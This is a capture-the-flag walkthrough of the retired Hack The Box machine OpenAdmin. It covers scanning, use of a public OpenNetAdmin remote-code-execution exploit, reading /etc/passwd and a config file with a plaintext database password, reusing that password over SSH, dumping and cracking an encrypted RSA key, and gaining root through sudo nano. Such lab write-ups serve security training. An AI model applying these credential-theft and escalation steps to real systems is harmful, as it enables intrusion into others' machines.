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OpenAdmin - Hack The Box (Retired)

Posted on April 23, 2020  (Last modified on July 15, 2024) • 6 min read • 1,115 words
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OpenAdmin - Hack The Box retired machine walkthrough.

On this page
  • 🔎Enumeration
  • 🚪🚶Foothold
  • 🛡️Privilege Escalation
  • 🍻Complete
OpenAdmin - Hack The Box (Retired)

🔎Enumeration   

# nmap -sV -A -O 10.10.10.171
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-23 23:16 -03
Nmap scan report for 10.10.10.171
Host is up (0.21s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48💿bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf🇩🇪bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=4/23%OT=22%CT=1%CU=30878%PV=Y%DS=2%DC=T%G=Y%TM=5EA24C0
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 23/tcp)
HOP RTT       ADDRESS
1   217.21 ms 10.10.14.1
2   217.88 ms 10.10.10.171

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.71 seconds    enter code here

Nothing found when enum port 80 with Nikto. =(

# nikto -h 10.10.10.171
    - Nikto v2.1.6
    ---------------------------------------------------------------------------
    + Target IP:          10.10.10.171
    + Target Hostname:    10.10.10.171
    + Target Port:        80
    + Start Time:         2020-04-23 23:21:07 (GMT-3)
    ---------------------------------------------------------------------------
    + Server: Apache/2.4.29 (Ubuntu)
    + The anti-clickjacking X-Frame-Options header is not present.
    + The X-XSS-Protection header is not defined. This header can hint to the user agent
    + The X-Content-Type-Options header is not set. This could allow the user agent to re
    + No CGI Directories found (use '-C all' to force check all possible dirs)
    + Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 597dbd5dcea8b, mtime: gzip
    + Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
    + Allowed HTTP Methods: GET, POST, OPTIONS, HEAD

Bruteforce directories on port 80 with ffuf.

./ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.171/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v0.12
________________________________________________

:: Method           : GET
:: URL              : http://10.10.10.171/FUZZ
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10]
artwork                 [Status: 301, Size: 314, Words: 20, Lines: 10]
music                   [Status: 301, Size: 312, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10]
sierra                  [Status: 301, Size: 313, Words: 20, Lines: 10]
:: Progress: [20469/20469] :: 173 req/sec :: Duration: [0:01:58] :: Errors: 0 ::

Looking further we got the following apps.

enter image description here

enter image description here

enter image description here

We found an OpenNetAdmin service, version 18.1.1.

root@kali:~/Documents/htb# searchsploit opennetadmin
------------------------------------------ ---------------------------------
 Exploit Title                            |  Path
------------------------------------------ ---------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execu | php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection E | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Executi | php/webapps/47691.sh
------------------------------------------ ---------------------------------

🚪🚶Foothold  

OpenNetAdmin has a critical vulnerability, which allow us to execute commands remotely.

Copy the exploit to your current directory:

cp /usr/share/exploitdb/exploits/php/webapps/47691.sh .

enter image description here

Let’s keep enumerating…🔎

$ cat /etc/passwd
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12👨/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network❌100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve❌101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog❌102:106::/home/syslog:/usr/sbin/nologin
messagebus❌103:107::/nonexistent:/usr/sbin/nologin
_apt❌104:65534::/nonexistent:/usr/sbin/nologin
lxd❌105:65534::/var/lib/lxd/:/bin/false
uuidd❌106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq❌107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape❌108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate❌109:1::/var/cache/pollinate:/bin/false
sshd❌110:65534::/run/sshd:/usr/sbin/nologin
jimmy❌1000:1000:jimmy:/home/jimmy:/bin/bash
mysql❌111:114:MySQL Server,,,:/nonexistent:/bin/false
joanna❌1001:1001:,,,:/home/joanna:/bin/bash

We found something interesting in the app loca/config directory:

$ ls -lha local/config
total 16K
drwxrwxr-x 2 www-data www-data 4.0K Nov 21 16:51 .
drwxrwxr-x 5 www-data www-data 4.0K Jan  3  2018 ..
-rw-r--r-- 1 www-data www-data  426 Nov 21 16:51 database_settings.inc.php
-rw-rw-r-- 1 www-data www-data 1.2K Jan  3  2018 motd.txt.example
-rw-r--r-- 1 www-data www-data    0 Nov 21 16:28 run_installer

$ cat local/config/database_settings.inc.php

<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

Now we have some important infos:

  • Usernames
    • jimmy
    • joanna
  • MySQL credentials
  • Probable usefull rsa keys

What about combine some information? 🤔

Let’s try connect on ssh!

Username: jimmy Password: n1nj4W4rri0R!

enter image description here

But we couldn’t find any user flag here.

$ find / -iname "user.txt" 2> /dev/null

Let’s try to find something tasty to jimmy user:

$ find / -type f -user jimmy 2> /dev/null
...
/var/www/internal/main.php
/var/www/internal/logout.php
/var/www/internal/index.php
/home/jimmy/.local/share/nano/search_history
/home/jimmy/.bashrc
/home/jimmy/.cache/motd.legal-displayed
/home/jimmy/.profile
/home/jimmy/.bash_logout

Looking all the files, there is something nice in main.php:

$ cat /var/www/internal/main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

Maybe there is an application running and showing joanna rsa key

jimmy@openadmin:~$ netstat -putan
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:52846         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0    360 10.10.10.171:22         10.10.14.34:35318       ESTABLISHED -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
jimmy@openadmin:~$

Gotcha!

jimmy@openadmin:~$ curl 127.0.0.1:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

I tried to logon without a password, with not success. It’s needed to brute this key and get its password.

First we adjust the RSA key to john file model:

/usr/share/john/ssh2john.py joanna.txt > joannarsa.txt

# cat joannarsa.txt

joanna.txt:$sshng$1$16$2AF25344B8391A25A9B318F3FD767D6D$1200$906d14608706c9ac6ea6342a692d9ed47a9b87044b94d72d5b61df25e68a5235991f8bac883f40b539c829550ea5937c69dfd2b4c589f8c910e4c9c030982541e51b4717013fafbe1e1db9d6331c83cca061cc7550c0f4dd98da46ec1c7f460e4a135b6f1f04bafaf66a08db17ecad8a60f25a1a095d4f94a530f9f0bf9222c6736a5f54f1ff93c6182af4ad8a407044eb16ae6cd2a10c92acffa6095441ed63215b6126ed62de25b2803233cc3ea533d56b72d15a71b291547983bf5bee5b0966710f2b4edf264f0909d6f4c0f9cb372f4bb323715d17d5ded5f83117233976199c6d86bfc28421e217ccd883e7f0eecbc6f227fdc8dff12ca87a61207803dd47ef1f2f6769773f9cb52ea7bb34f96019e00531fcc267255da737ca3af49c88f73ed5f44e2afda28287fc6926660b8fb0267557780e53b407255dcb44899115c568089254d40963c8511f3492efe938a620bde879c953e67cfb55dbbf347ddd677792544c3bb11eb0843928a34d53c3e94fed25bff744544a69bc80c4ffc87ffd4d5c3ef5fd01c8b4114cacde7681ea9556f22fc863d07a0f1e96e099e749416cca147add636eb24f5082f9224e2907e3464d71ae711cf8a3f21bd4476bf98c633ff1bbebffb42d24544298c918a7b14c501d2c43534b8428d34d500537f0197e75a4279bbe4e8d2acee3c1586a59b28671e406c0e178b4d29aaa7a478b0258bde6628a3de723520a66fb0b31f1ea5bf45b693f868d47c2d89692920e2898ccd89710c42227d31293d9dad740791453ec8ebfb26047ccca53e0a200e9112f345f5559f8ded2f193feedd8c1db6bd0fbfa5441aa773dd5c4a60defe92e1b7d79182af16472872ab3c222bdd2b5f941604b7de582b08ce3f6635d83f66e9b84e6fe9d3eafa166f9e62a4cdc993d42ed8c0ad5713205a9fc7e5bc87b2feeaffe05167a27b04975e9366fa254adf511ffd7d07bc1f5075d70b2a7db06f2224692566fb5e8890c6e39038787873f21c52ce14e1e70e60b8fca716feb5d0727ac1c355cf633226c993ca2f16b95c59b3cc31ac7f641335d80ff1ad3e672f88609ec5a4532986e0567e169094189dcc82d11d46bf73bc6c48a05f84982aa222b4c0e78b18cceb15345116e74f5fbc55d407ed9ba12559f57f37512998565a54fe77ea2a2224abbddea75a1b6da09ae3ac043b6161809b630174603f33195827d14d0ebd64c6e48e0d0346b469d664f89e2ef0e4c28b6a64acdd3a0edf8a61915a246feb25e8e69b3710916e494d5f482bf6ab65c675f73c39b2c2eecdca6709188c6f36b6331953e3f93e27c987a3743eaa71502c43a807d8f91cdc4dc33f48b852efdc8fcc2647f2e588ae368d69998348f0bfcfe6d65892aebb86351825c2aa45afc2e6869987849d70cec46ba951c864accfb8476d5643e7926942ddd8f0f32c296662ba659e999b0fb0bbfde7ba2834e5ec931d576e4333d6b5e8960e9de46d32daa5360ce3d0d6b864d3324401c4975485f1aef6ba618edb12d679b0e861fe5549249962d08d25dc2dde517b23cf9a76dcf482530c9a34762f97361dd95352de4c82263cfaa90796c2fa33dd5ce1d889a045d587ef18a5b940a2880e1c706541e2b523572a8836d513f6e688444af86e2ba9ad2ded540deadd9559eb56ac66fe021c3f88c2a1a484d62d602903793d10d

Then crack it with john: enter image description here

Now we can switch to joanna user!

 
You need the original copy of rsa key to use here! And need to change it’s permissions. 
$ chmod 600 joanna.txt

enter image description here

Here you can get the user.txt flag.

$ cat user.txt

🛡️Privilege Escalation  

Let’s check joanna’s sudo permission:

 joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
   env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
   (ALL) NOPASSWD: /bin/nano /opt/priv

🍻Complete  

Let’s open nano with sudo privileges:

$ sudo nano /opt/priv

Press CTRL+R, type /root/root.txt and press ENTER.

enter image description here

And now we got the root flag.

 Lame - Hack The Box (Retired)
Análise dos dados da Maratona de Porto Alegre 2019 
On this page:
  • 🔎Enumeration
  • 🚪🚶Foothold
  • 🛡️Privilege Escalation
  • 🍻Complete
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👾

Eternal student.

     
Copyright © 2024 Tiago Tavares.
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